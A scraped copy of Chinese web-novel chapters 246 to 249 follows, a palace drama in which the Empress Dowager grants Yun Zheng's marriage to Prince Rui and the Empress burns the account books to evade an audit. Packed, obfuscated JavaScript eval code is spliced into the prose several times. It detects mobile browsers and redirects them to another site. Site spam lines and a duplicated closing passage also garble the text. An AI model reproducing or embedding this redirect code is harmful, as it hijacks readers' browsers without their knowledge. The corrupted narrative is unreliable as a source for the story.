但看着云筝甜甜的笑容不忍拂开她。 她只是一个小姑娘她只是想亲近自己而已。 关嬷嬷惊呆了不敢相信自己的眼睛太后清冷惯了几乎不笑也不喜欢别人靠近。 没想到眼前这个女子居然投了太后的缘。 或者说太后母子的品味一样都喜欢这样的。 皇上定定的看着太后嘴角轻浅的笑意神色有些恍惚。 皇后眼见两人相处甚欢不禁急了“油嘴滑舌太后娘娘她最会哄人别上她的当。” 她就不明白了为什么皇上和太后都喜欢云筝?她身上到 你的朋友正在书荒,快去帮帮他吧 底有哪点吸引他们? 皇上更多的是要用她挣钱的本事,但太后呢? “本宫在惩治犯错的郡主,还请太后不要插手。” 太后神色一敛,淡漠至极,“你是在命令哀家?” 她不怒自威,气势非凡,太后的威严不容质疑。 皇后脸色大变,“不不,臣妾不敢。” 她的态度立马恭敬多了,“太后容禀,锦云郡主说的每一句话都是假的,是哄骗您的。” 太后虽然不怎么露面,在宫中的存在感不强,但,任谁遇到她,都得恭恭敬敬的。 “你是说,哀家长的丑?” 皇后脸都绿了,“臣妾不是这个意思,太后娘娘自然是风仪倾城,无人可及。” 太后淡淡的道,“据哀家所知,她不仅仅是郡主,还是本朝官员,何时轮到皇后管到官员头上了?这是后宫干政。” 皇后哑口无言,“可是,她冒犯了本宫,不得不罚。” 太后深深的看了她一眼,“不许睿亲王成亲,可有此事?” 皇后脸色发白,她心里明白,太后和睿亲王的关系再僵,那也是亲母子,轮不到别人指手划脚。 她一迭声的否认,“没有,绝对没有,臣妾巴不得睿亲王早早成亲,为皇室开枝散叶。” 云筝眼珠一转,笑眯眯的开口,“你敢不敢对天发誓,没有干涉睿亲王的婚事?若是有,就让你不得善终!” 问题是,她确实干涉了,怎么敢发誓? 皇后勃然大怒,大喝道,“放肆,小小一个郡主,居然敢跟本宫如此说话,掌嘴。” 她的亲信跃跃欲试。 云筝缩在太后身后,可怜兮兮的扯着她的衣裳。 “太后娘娘,我怕。” 太后心一软,“乖,别怕,有哀家在,看谁动你?” 众人:…… 您看不出她是装的吗? 皇后也觉得太后被云筝单纯的模样骗了,“太后,您可能不知道,云筝一心攀高枝,早盯上了睿亲王。” “睿亲王是龙子凤孙,皇家子弟,岂能娶一个商贾出身的女子为妻?这是辱没了睿亲王。” 身为一个母亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218304|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,自然是希望儿子娶一个门当户对的贤妻,而不是出身卑贱的女子。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 她的如意算盘打的很好,可惜,注定不能如愿。 她的心思被太后看穿了,心生反感。 “你的手伸的太长了,睿亲王的婚事还轮不到你插手。” 皇后还理直气壮的表功,“您长年礼佛,我作为长嫂,自然有责任照看小叔子……” 云筝忽然来了一句,“太后娘娘,皇后说您不负责任,不管孩子。” 太后的脸色一变,眼神微冷。 皇后气炸了,“云筝,你这是挑拨离间。” 太后清冷的声音响起,“在哀家面前大呼小叫,这是对哀家不满吗?” 皇后又气又急,“不敢,太后娘娘,就算您惩罚我,我也要把话说完,云筝是商贾出身,商贾唯利是图,不择手段,绝不能让她嫁进睿王府,那会害了睿亲王。” 她还把皇上拉了出来,“皇上,也是这个意思。” 太后清冷的目光第一次看向皇上,“是吗?” 皇上的心微起波澜,但神色极为严肃。 “无恙是朕的亲弟,朕会将世间最好的东西送到他面前,也会给他娶世间最好的女子为妻。” 太后微微颌首,“好,无恙会感恩的。” 她的视线落在云筝腰间的玉佩,眼神微凝。 忽然,她扬声道,“太后懿旨。” “锦云郡主接旨。” 云筝愣了一下,随后跪下听旨。 大家都懵了。 懿旨的权威仅次于圣旨,在特殊情况下,还能发挥同圣旨一样重要的效力,比如,权力出现真空时,懿旨可以选择新君。 所以,懿旨是轻易不下的。 如今,太后懿旨一出,其他人齐刷刷的跪下,连皇后也不例外,跪了一地。 只有皇上一个人站着,神色复杂到了极点。 这是她第几次动用懿旨之权?啊,是第三次。 用的不多,但每一次都改变了无数人的命运! 那,这次呢? 第246章 赐婚懿旨一出,全场惊 就在所有人不明所以时,太后清冷的声音响起。 “锦云郡主慧质兰心,品貌出众,知书达理,功在社稷,哀家甚喜。 睿亲王风华正茂,才德兼备,两人实乃天作之合。哀家特下旨,将锦云郡主云筝许配于睿亲王厉无恙为妻。” “选定良辰吉日,让二人今年内完婚,永结秦晋之好。” 她看向云筝,满眼的期盼。 “望二人婚后琴瑟和鸣,携手共进,为皇室开枝散叶,为社稷添福。” 这赐婚懿旨一出,所有人都变了脸色。 睿亲王本就权倾天下,再加上云筝点石成金的能力,两人联手,天下无敌。 皇后立马说道,“请太后收回懿旨,云筝不堪为睿王妃。” 她实在是没办法,一旦两人成了夫妻,她这一系人马都要倒霉了。 太后神色淡漠,“这是哀家挑儿媳妇,哀家喜欢即可。” 一句喜欢,就堵住众人的悠悠之口。 她不仅是太后,还是睿亲王的亲生母亲,婚姻大事,自古以来都是父母作主,轮不到别人插手。 关嬷嬷轻声提醒道,“锦云郡主,还不快谢恩。” 云筝欢欢喜喜的磕了一个头,“谢太后娘娘。” 嘻嘻,关键时刻还是太后给力! 皇上不行,那就抱太后大腿嘛! 皇上微微蹙眉,“太后,这事再想想……” 太后冷冷的看着他,“怎么?太后懿旨不管用了?” 皇上被她冰冷的眼神刺伤了,心里发堵。“当然管用,只不过,是不是该等无恙回来再说?” “朕担心,他会闹的天翻地覆。” 太后的视线落在云筝腰间的同心佩上,闹?不可能的。 “哀家作主即可,皇上,你让户部和宗人府开始准备吧。” 眼见事情就要板上定钉,皇后心急如焚。 她自知已经跟云筝撕破脸皮,若让她成了睿王妃,在睿亲王耳边吹枕边风,后果不堪设想。 她一时心急,头脑发热,“太后,你这是老糊涂了……” 关嬷嬷怒喝道,“掌嘴。” 一道黑影闪过,“啪啪。”两声响起,皇后的脸瞬间肿了。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 皇后捂着滚烫的脸,整个人都懵了。 她出身显贵,待字闺中时养尊处优,进宫后更是尊贵无比,哪受过这样的**。 “太后,臣妾是为了睿亲王好啊。” 她打着为睿亲王好的旗号,尽干些缺德事。 人都是有逆鳞的,太后最恨别人拿睿亲王说事。 “看来皇后是忘了自己的身份。” 她淡淡的道,“从即日起,皇后每日卯时来慈宁宫侍候哀家,亥时再走,尽一尽儿媳的本份。” 皇后如被晴天霹雳砸中,整个人都不好了。 什么?从清晨到深夜都在慈宁宫立规矩?她还活不活了? 这辈子都没有受过婆婆的搓磨,到了这年纪,反而要受罪? 她求助的看向皇上,她不要! 皇上却说道,“儿媳侍候婆婆天经地义,之前是太后太过宽厚,没让你侍候过一天,如今,该尽本份了。” 皇后心里气苦,她都是皇后了,为什么还要侍候婆婆? “臣妾很想侍候太后,但,身体不适,不能……” 云筝笑眯眯的捅刀子,“刚才还生龙活虎,对着我喊打喊杀,一听要侍候婆婆,立马身体不适了。” “这分明是借口。” “皇后娘娘,你是一国之母,不想侍候婆婆,怎么堪为天下女子的典范呢?” 皇后气急败坏的喝斥,“这轮不到你说话。” 云筝抿了抿嘴,“太后,您看呀,她态度好恶劣,完全没有母仪天下的气度,要不,废后吧?” 废后一出,全场皆惊,呆呆的看着云筝,她真是个疯子。 她是什么都敢干,什么话都敢说。 这可是废后啊,处理不当的话,会引发政局动荡。 皇后惊惧交加,恨的咬牙切齿。 “皇上,您看啊,云筝才被赐婚,就敢跟皇后对着干,到底哪来的底气?” 这话里的挑拨之意,云筝听出来了,“说的好像没被赐婚,我就不敢似的。” “你敬我一尺,我敬你一丈,你若欺我,我哪怕血溅三尺,也要力拼到底。” 烈性如火,快意恩仇。 皇后面色忽青忽白,不敢相信自己的耳朵。 你的朋友正在书荒,快去帮帮他吧35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218305|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她看向了四皇子,四皇子硬着头皮站出来。 “云筝,这是皇后娘娘,母仪天下,你要尊重……” 云筝冷笑一声,“母仪天下,慈德昭彰,以慈母胸怀教化万民,她做到了哪一点?” “德不配位,就不要怪别人不尊重她。” 看到这样不给皇子情面的云筝,皇上心里的猜忌一扫而空。 古之成大事者,不惟有超世之才,亦有坚忍不拔之志。 云筝是很有才华,但不够坚忍。 这分分钟钟发疯的模样,能成什么大事? 云筝瞥了他一眼,嘴角轻轻上扬,对,就这么想! 太后忽然开口说道,“皇后不想侍候哀家就算了,哀家年纪大了,也怕被背后捅刀子,悄无声息的中招。” 皇后脸色大变,扑通一声跪下,“臣妾不敢。” 皇上冷冷看了皇后一眼,开口说道,“太后,你才是后宫之主,谁都越不过你。” “我大齐是以孝治国,谁敢怠慢太后娘娘,那就是大不孝。” “皇后,你天天过去侍候太后,若惹太后生气,满朝文武都不答应。” 皇后想象来自百官的**,不禁浑身一颤,罢了,小不忍则乱大谋也。 “那,我带嫔妃们来侍候太后,这宫务就没人操持,不如交给我手下的几个嬷嬷管着……” 她这是要将所有嫔妃都拉下水,她受苦,别人也别想好过。 到时,满宫怨言,只会冲着太后而去。 不等她说完,皇上开口了,“淑妃和惠妃只需侍候半日,她们自会为你分忧。” 皇后胸口气血翻滚,她本想借机夺回宫务,但,哪还有机会? 她愤愤的看向云筝,发现她居然在笑。 顿时,火冒三丈。 “云筝,你笑什么?” 云筝笑眯眯的开口,“替你高兴,终于可以被婆婆好好教导了,你可要做到尽善尽美,成为天下女子的典范呀。” “否则,难以服众,迟早会被废掉。” 皇后:…… “都退下吧,筝儿,你随哀家进来。” 太后一声令下,众人通通退下,只有皇上还没离开,眼中似有千言万语,恋恋不舍。 “且慢,朕……有话要说。” 第247章 她这副德性,皇上,你还惯着她? 太后没有请他进去的意思就这么冷冷的站在门口。 “何事?” 皇上心中转过无数个念头“有无恙的消息不方便让别人知道。” 太后看向四周的侍卫顿了顿这才慢悠悠的让开一条路“进来吧。” 花厅安静的出奇气氛怪怪的。 云筝圆溜溜的眼睛看看这个看看那个有点奇怪呀。 是她太敏感了吗? 关嬷嬷送上茶水皇上喝了一口 得亏是太后身边侍候多年的老人换了别人皇上早就发作了。 居然给皇上喝陈茶! 太后看了关嬷嬷一眼似有责备之色。 关嬷嬷陪笑道“太后没有别的喜好就喜欢喝茶尤其爱喝雨前龙井。” “这不喝完了只能拿去年的白茶凑和一下。” 皇上愣住了“朕记得太后爱喝所以下令将今年的雨前龙井全送进了慈宁宫。” 按照宫中的规矩太后的待遇是最好的她第一个挑挑剩下的才轮到宫妃。 她喜欢的东西全部送进慈宁宫别人都够不到。 关嬷嬷有些无奈“两罐不够。” 皇上脸色微变“你说什么?才两罐?明明是六罐。” 关嬷嬷惊呼一声“啊那剩下的四罐去了哪里?” 云筝挑了挑眉姜还是老的辣不动声色的上眼药厉害啊。 学起来! 皇上的脸色铁青管理宫务的是皇后她这是苛扣了太后的供应! 她怎么敢的? 她不会以为太后这些年紧闭宫门不问世事专心烧香礼佛跟君王避不见面就不是高高在上的太后?好拿捏了? 也不知太后暗地里受了多少委屈。 一想到这他的怒气就控制不住。 “传朕旨意让张总管严查近几年慈宁宫的供应情况。” 云筝眼珠一转主动请缨“皇上我来查吧查账我是专业的。张总管是男子不大方便在宫中走动。” “再说他真的一无所知吗?要知道他 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 可是内务府总管跟宫中有千丝万缕的关系。” 内务府姻亲遍地走 而张总管忠心有余但能力不足反被下面的人拿捏。 皇上眼神微冷“行你来查。” “大伴你亲自去坤宁宫索要近几年的账本。” 大太监暗暗替皇后捏了一把汗锦云郡主要出手了。 他也提醒自己记住千万不要得罪锦云郡主她小气又记仇睚眦必报。 “是。” 云筝心思飞转“关嬷嬷慈宁宫其他供应正常吗?“ 关嬷嬷暗叹真是个聪明的姑娘。 “别的还好就是最近檀香换了质量远不如以前。” 皇上震怒不已这檀香再贵皇室还能供不起? 太后神色很淡漠“皇上有事就快说哀家还要做晚课。” 皇上强压怒火从怀里掏出一封信递过去“这是无恙的信你看看。” 太后没有接而是看向云筝云筝会意的上前接过信封。 扯了一下嗯?没扯动! 皇上是啥意思?到底是给还是不给? 云筝睁着一双懵逼的眼睛呆呆的看着皇上。 皇上没好气的白了她一眼该聪明时不聪明。 云筝不乐意了“皇上您干吗瞪我?” 皇上气笑了手一松云筝迫不及待的拆开信封一字一句的读起来。 是报平安还在信里特别叮嘱请皇上一定要保护好云筝。 云筝嘴角翘了翘心底泛起一丝甜意。 耳边响起皇上的声音“你很得意?” 云筝头也不抬“是开心有一个关心你惦记你的人是件很幸福的事。” 她顿了顿忽然开启毒舌模式“啊皇上可能理解不了毕竟您是孤家寡人您的嫔妃儿女对您只有敬没有爱。” 现场一静。 宫人们敬畏的看着云筝真勇士就不怕皇上砍她的头吗? 皇上心里发堵说什么大实话?“好好说话。” “你这是在怪朕?” 云筝愤愤不平的大声控诉“对!皇后 你的朋友正在书荒,快去帮帮他吧 当着您的面欺负我,您居然袖手旁观。” “我的心拔凉拔凉的,凉透了,您对我不好,我挣的钱不给您花了,哼。” 皇上本来挺生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218306|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气,但听了这孩子气的话,又好气又好笑。 算了,跟个孩子计较什么。 她就这狗脾气,一点委屈都不能受。 “没有朕护着,你早就被侍卫拿下,拖出去打一百大板了。“ “还能让你轻轻松松跑到慈宁宫胡闹?” 云筝傲娇极了,“哼。” 皇上揉了揉眉心,放软语气,“你不是喜欢宫廷首饰匠人的手艺吗?让他们给你量身定制两套首饰,材料都由朕出。” 就当是清库存,那些上贡的珍宝放着也是占空间。 大家震惊的看着,不是吧?皇上你没事吧?你那么小气,还舍得出材料? 她这副鬼德性,你还惯着她? 难怪,她敢跟皇后面对面的掐架! 这底气,是来自君王啊! 皇后输的一点都不冤。 云筝嘟了嘟小嘴,一脸的委屈,“两套怎么够?要……四套不吉利,又不能单数,那,六套吧。” 皇上嘴角抽了抽,“太贪心了。” 云筝扭过头,“爱给不给。” 皇上无奈的叹气,“罢了,就当是给你添妆吧。” 舍得,舍得,有舍才有得。 还指望她给自己挣钱建帝陵呢。 云筝心中暗喜,嘴角轻扬,他这是认了赐婚一事? 她试探了一下,“这不是赔礼吗?我成亲时,您还要送十八样东西给我添妆。” 皇上对她的厚脸皮已经习惯了,“为什么是十八样东西?” 云筝心中大石落地,皇上对她有戒心,但不多。 也不枉这些日子,她一直在演。 她笑眯眯的说道,“讨个吉利,您是皇上,送礼不能太次,到时晒妆不好看,大家都盯着呢。” “闭嘴吧。”皇上烦死她了。 “你先回避,我要跟太后说几句……” 就在此时,外面传来通禀声。 “启禀皇上,坤宁宫出事了。” 坤宁宫?那是皇后的寝宫,大太监去索要账本,马上就出事了? 皇上的脸沉了下来,早不来晚不来,偏偏这个时候来。 云筝立马支棱起来,眼睛闪闪发亮,有热闹可看喽! 第248章 放火烧账本,疯了 噼里啪啦摔东西的声音不绝于耳宫人们瑟瑟发抖 半晌后皇后气喘吁吁的扶着柜角纵然将所有东西砸了个稀巴烂依旧难消她心头的怒火。 云筝今日之耻他日必百倍奉还! 她的心腹阿月走上前将皇后扶进内室在靠窗的软榻坐下。 宫女们目送她们离开长长吐出一口气。 阿月端茶送水伏小做低处处妥贴不停的劝慰。 “皇后息怒那云筝算什么东西也值得您如此动怒。” “皇上只是把她当成挣钱的工具哪天没有了利用价值一脚踢开那时就是她死期。” 皇后拿起茶杯一口饮尽但还是浇熄不了怒火。 “我等不了那么久我此生从来没有受过如此奇耻大辱。” 一个商贾之女居然说出废后那一刻想弄死她的心都有了。 这是她的逆鳞! 她更怕的是皇上真的听进去了! 皇后越想越气“我不能眼睁睁的看着她嫁进睿亲王府阿月你想个办法除掉她。” 阿月是她的贴身丫环从小跟在她身边后来随她进了皇宫为她出谋划策帮她在宫中站稳脚跟。 之后阿月发誓终身不嫁梳起头发成了一个掌事嬷嬷更深得她的信任。 阿月眼神微闪“除掉她有点难但让她无法嫁给睿亲王并不难。” 她说的轻描淡写“女人嘛只要失了贞节还怎么嫁人?” 毁人名节在她嘴里就是轻飘飘的一句话。 皇后也认同谁愿意娶一个残花败柳。 但立马皱起眉头有前车之鉴啊。 “雷家真没用这点小事都办不好反而把全家都搭了进去废物。” “雷家都栽了我怀疑云筝身边有人暗中保护她所以得想个万全之策。” 阿月略一沉吟“这……如果不能从云筝这边直接下手那就冲她家人下手。” “要么让云家出个大丑闹到丑闻满天飞世人皆知她就没法嫁入皇室。” “要么让云家夫妻**她要守孝三年睿亲王年纪不小了不可能等她三年在这期间纳几个 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 妾室,睡几个通房,生几个娃…… 她嘴角扬起一抹冷笑,恶劣而又歹毒。 “以云筝善妒的性格,哪里能容得下?到时,两边斗起来,两败俱伤才有意思呢。 随着她的话,皇后的眼睛越来越亮,“好,就这么办。 胆敢冒犯她,这就是下场。 “可,那老**让我日日立规矩,可如何是好? 阿月长相普通,不说话就很沉稳的样子,但,一开口,就透着一股刻薄。 “您受了刺激,晚上发热说胡话,高烧不退,哪还能去立规矩? “主母生病,妾室代其劳,就让淑妃和惠妃带着嫔妃们代您去慈宁宫侍候。 轻轻松松就化解了难题,还让那些嫔妃代皇后受苦,一举两得。 皇后眼睛一亮,“但,太后恐怕会闹。 阿月微微一笑,“那更好了,您抱病过去,她一说话,您就晕倒,这么一来她就成了搓磨儿媳妇的恶婆婆。 “行事不占理,朝臣们就不会支持她。 皇后身心舒坦,忍不住轻笑,“还是你最贴心,最有本事。 阿月眉眼低垂,恭谨而又谦卑,“为主子分忧,是奴婢的本份。 外面通来通禀声,“禀皇后娘娘,养心殿总管来了。 皇后心里一紧,莫名的心虚,“他怎么来了?快把花厅收拾干净。 等收拾干净了,才把大太监请进来,他拱了拱手,“见过皇后娘娘。 他是皇上的心腹,深得皇上的信任。 满朝文武对他都客客气气的,就算她贵为皇后,也要礼让三分。 皇后面带微笑,“大伴怎么来了?快坐。 她很热情的吩咐,“阿月,大伴喜欢甜汤,你快去端一碗过来。 大太监微微躬身致意,“您不必忙了,奉皇上之命前来,要后宫这些年所有的账本,包括衣食住行,节礼年礼贡品的发放,赏赐等…… 一听这话,皇后心一颤,笑容僵住了,“好端端的怎么要这些? 大太监沉默不语,要账本,当然是查账,还需要问吗? 皇后心里有些慌,但面上不露,“还请公公点拨一二。 大太监哪敢透露 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 皇上的事,只说了一句,“还请快些,皇上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218307|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还在等呢。” 皇后心思飞转,“我这就让人去取,账本有点多,还请稍等片刻。” 她冲阿月使了个眼色,阿月会意的点头,悄无声息的退出去。 皇后挥退下人,轻声试探,“公公,是太后对皇上说了些什么?” 大太监神色平静,只有一句,“娘娘恕罪。” 皇后闪过一丝失望,这老家伙眼里只有一个皇上,想收买他难如登天。 从他嘴里,打探不到一点消息。 她有些不甘心,“那,是云筝在说本宫的坏话?” 大太监沉默。 皇后就当是默认了,顿时恼怒不已,“一定是她,就是明晃晃的打击报复,公公,云筝是个卑鄙龌龊之人,哪能留在帝王身边?” “本宫实在担心她带坏帝王,还请公公找机会劝劝皇上。” “我知道,皇上最信任你,你说的话一定有用。” 她不停的给大太监灌**汤,又是戴高帽,又是奉承,一心想从他嘴里套出一点有用的东西。 但,大太监恭谨有余,却没有半句实话,滴水不漏。 阿月走了回来,手里捧着一个锦盒。 她走到大太监面前,打开锦盒,里面是一颗鸡蛋大小的夜明珠,在盒子里散发着迷人的光芒。 皇后眼中闪过一丝心疼,“这是新上贡的夜明珠,晚上亮如白昼,都不用蜡烛,一共就两颗,一颗在皇上手里,这颗你拿去把玩吧。” 大太监受宠若惊,连连摆手,“不敢收。” 皇后眉头一皱,“这是看不起本宫?” 大太监这才收下礼物,严肃的脸多了一丝笑意。“谢皇后娘娘。” 皇后暗暗松了一口气,只要肯收,以后有的是机会。 “这才对嘛,我们的立场是一致的,都盼着皇上好。” 只要收买了眼前之人,皇上的一举一动都能了如指掌。 就在此时,外面传来喧哗声,“不好了,不好了。” 皇后微微皱眉,“怎么了?” 一名丫环冲了进来,“禀皇后娘娘,账房着火了。” 皇后大惊失色,猛的站起来,“什么?着火了?” 大太监不禁恻目,她,居然放火烧了账本! 疯了,都疯了! 第249章 区区二十万就把她卖了? 皇后面有难色,“公公,还请您在皇上面前美言几句,这天干物燥引起了火势,烧了帐房,实属天意。” 证物都已经销毁,死无对证,皇上也不能无故拿发妻开刀,否则言官也不是吃素的。 大太监的表情一言难尽,这是闭着眼睛说瞎话。 他的目光落在她身后。 一道熟悉的声音在身后响起,“天意?” 皇后身体一僵,随后慢慢转过身,露出谦卑的笑,“皇上,您怎么来了?” 皇上冷冷的看着她,他倒是小看她了。 他无心跟她纠缠,直接下令,”来人,彻查火烧现场。” “将坤宁宫所有人抓起来严刑拷打。” 他一点都没有给皇后留脸面,皇后又气又怒,赶紧阻止。 “皇上,万万不可。” “这是意外失火,没必要大动干戈。” 云筝站在门口,笑吟吟的开口。 “皇上要查帐,帐房就烧着了,帐本全烧毁,你这是把皇上当成傻子啊。” “皇上,这算欺君之罪吗?” 她也不知皇后是怎么想的,烧毁帐本是公然挑战皇上的权威,皇上能轻饶了她? 还是,她安排了什么后招? 不等皇上开口,皇后就怒气冲冲的喝道。 “云筝,关你什么事?这是宫中事务,轮不到外人插手。” 云筝昂首挺胸,得意洋洋的说道,“我奉皇上之命,清查宫中近几年的账本,这是本官的职责所在。” 皇后不敢置信,“你说什么?是不是你唆使皇上查账?” 云筝故意气她,“皇后娘娘,你自己做了什么,心里应该很清楚,皇上很清楚,所以,我是临危受命,挺身而出。” 皇后心里一慌,“我问心无愧。” 她满眼怨恨,“皇上,您让一个小丫头来折辱您的发妻,夫妻一体,这何尝不是在折辱自己?” “您要查,尽管查,让大伴查,让张总管查,都行,但,云筝不行。” 云筝挑了挑眉,“你怕我?也对,谁不知道我擅长经商,算账更是一绝,账本做的再逼真,也瞒不过我的眼睛,” “你……”皇后手指着云筝,有恃无恐,“没账怎 么查?” 云筝嘴角轻轻上扬,狡黠如狐。 负责查案的侍卫走了进来,“禀皇上,两个帐房死在火中,尸体后脑有伤,是被打晕后烧死的。” “现场找到了火折子,是人为纵火。” 现场静的出奇,都不敢看皇上铁青的脸。 只闻皇后惊恐的声音响起,“天啊,居然有人敢在本宫眼皮底下**放火,太可怕了,本宫怀疑是冲着我而来,皇上,还请您庇护!” 这是贼喊捉贼。 皇上看着装模作样的女人,第一次生出了废后的心思。 又蠢又坏,死不悔改。 “你怀疑谁?” 皇后毫不犹豫的开口,“臣妾就得罪了云筝。” “我就是不明白,宫中戒备森严,她是怎么将手伸进来的?” 她顿了顿,表情有些复杂,“难道……是睿亲王给的人手?” 这是挑起皇上对睿亲王的疑心。 云筝冷笑一声,“就冲着你这句话,我一定将你进宫后这些年的账好好查一遍。” “啊,还有你的娘家,你就祈祷你娘家没干什么伤天害理的事吧。” 既然撕破了脸皮,那就将人狠狠踩下去,彻底绝了后患。 她就不信,皇后和她娘家没干过一件伤天害理的事。 能在后宫杀出一条血路,稳坐皇后之位的,绝不是善茬。 皇后心头剧震,后背升起一丝寒气,“皇上,她威胁我。” 云筝只是笑笑,冲皇上伸出一根手指,“十万两银子。” 皇上下意识的还价,“二十万。” 云筝略一沉吟,“行。” 羊毛出在羊身上,嘻嘻。 皇上神色一肃,“令,明镜司协助锦云郡主彻查皇后及其娘家。” “是。” “这是朕的令牌,任何人都不得阻碍你办差。” “谢皇上。”云筝美滋滋的接过令牌,这就是她想要的! 皇后简直不敢相信自己的眼睛,区区二十万就把她卖了? 还是当着她的面!这是故意折辱她! “皇上,您这是穷疯了吗?” 皇上的脸黑了下来。 云筝扬了扬眉,他不是穷疯了,而是心中的不满积压到了极致,借着她的手查皇后这一脉。 明镜司的谷雨来了,他是办案高手。 云筝下令道,“去查坤宁宫的库房,先从茶叶和绸缎查起。” 皇后烧了帐房,但,没舍得烧库房啊。 只要做过,总会留下痕迹。 谷雨恭恭敬敬的应道,“是。” 皇后心里一慌,没想到云筝还能从库房入手,“你敢?” 云筝淡淡的瞥了她一眼,又来了一句,“啊,对了,查一下这几年坤宁宫人员的进出情况,凡是出宫者,彻查他们的行踪。” 四周的宫人脸色大变。 皇后更是急了,“云筝,你非要逼死本宫吗?就不怕被满朝文武**吗?” 云筝嚣张跋扈,“不怕,习惯了,我有皇上撑腰,我怕谁?” 她的钱不是好拿的! 皇后:…… 张总管来了,战战兢兢送上帐本,他是内务府总管,宫中的衣食住行都是他负责。 云筝翻出最近两年的帐本,飞快的翻开,一边看,一边拿着毛笔在纸上刷刷的写。 动作非常快,熟练自如,仿佛做过千百回。 她一拿到帐本,气势就变了,有种一切尽在她掌控的自信。 皇上喝着茶,打量着进入工作状态的云筝,这丫头嘴巴厉害,做事更厉害。 皇后心慌意乱,她以为烧毁了帐本,杀了帐房,就能糊弄过去。 但,随着云筝一道道命令发出去,她有些不敢肯定了。 “云筝,其实我们之间又没有深仇大恨,没必要你死我活吧。” 她放软身段,“不如,就此罢手,一笑泯恩仇?” 等过了这一关,她再伺机报复。 云筝头也不抬,“不急,先查完账再说。” 她沉稳淡定,还能一心两用,手中的笔就没有停过。 皇后心思飞转,“你想嫁给睿亲王,我不会再阻止,还会支持。” 云筝一个字都不信,“你在怕什么?” 光是一点茶叶,不足以让皇后这么紧张,所以,事情没有那么简单。 皇后义正严辞的表示,“我只是不想让皇上为难。” 皇上冷笑一声,“之前怎么没见你如此识大体?” 皇后一脸的后悔,“皇上,臣妾刚才一时冲动,回宫后反省过了,皇上,您是臣妾的夫君,也是臣妾头顶的一片天,只想好好侍奉您。” 她越是这么服软,皇上心中的怀疑就越深。 就在此时,云筝挥舞着毛笔,“皇上,我查到了!问题很严重!” 皇后脸色剧变。 皇上挑了挑眉,有些意外,“这么快?” 云筝扬了扬眉,他不是穷疯了,而是心中的不满积压到了极致,借着她的手查皇后这一脉。 明镜司的谷雨来了,他是办案高手。 云筝下令道,“去查坤宁宫的库房,先从茶叶和绸缎查起。” 皇后烧了帐房,但,没舍得烧库房啊。 只要做过,总会留下痕迹。 谷雨恭恭敬敬的应道,“是。” 皇后心里一慌,没想到云筝还能从库房入手,“你敢?” 云筝淡淡的瞥了她一眼,又来了一句,“啊,对了,查一下这几年坤宁宫人员的进出情况,凡是出宫者,彻查他们的行踪。” 四周的宫人脸色大变。 皇后更是急了,“云筝,你非要逼死本宫吗?就不怕被满朝文武**吗?” 云筝嚣张跋扈,“不怕,习惯了,我有皇上撑腰,我怕谁?” 她的钱不是好拿的! 皇后:…… 张总管来了,战战兢兢送上帐本,他是内务府总管,宫中的衣食住行都是他负责。 云筝翻出最近两年的帐本,飞快的翻开,一边看,一边拿着毛笔在纸上刷刷的写。 动作非常快,熟练自如,仿佛做过千百回。 她一拿到帐本,气势就变了,有种一切尽在她掌控的自信。 皇上喝着茶,打量着进入工作状态的云筝,这丫头嘴巴厉害,做事更厉害。 皇后心慌意乱,她以为烧毁了帐本,杀了帐房,就能糊弄过去。 但,随着云筝一道道命令发出去,她有些不敢肯定了。 “云筝,其实我们之间又没有深仇大恨,没必要你死我活吧。” 她放软身段,“不如,就此罢手,一笑泯恩仇?” 等过了这一关,她再伺机报复。 云筝头也不抬,“不急,先查完账再说。” 她沉稳淡定,还能一心两用,手中的笔就没有停过。 皇后心思飞转,“你想嫁给睿亲王,我不会再阻止,还会支持。” 云筝一个字都不信,“你在怕什么?” 光是一点茶叶,不足以让皇后这么紧张,所以,事情没有那么简单。 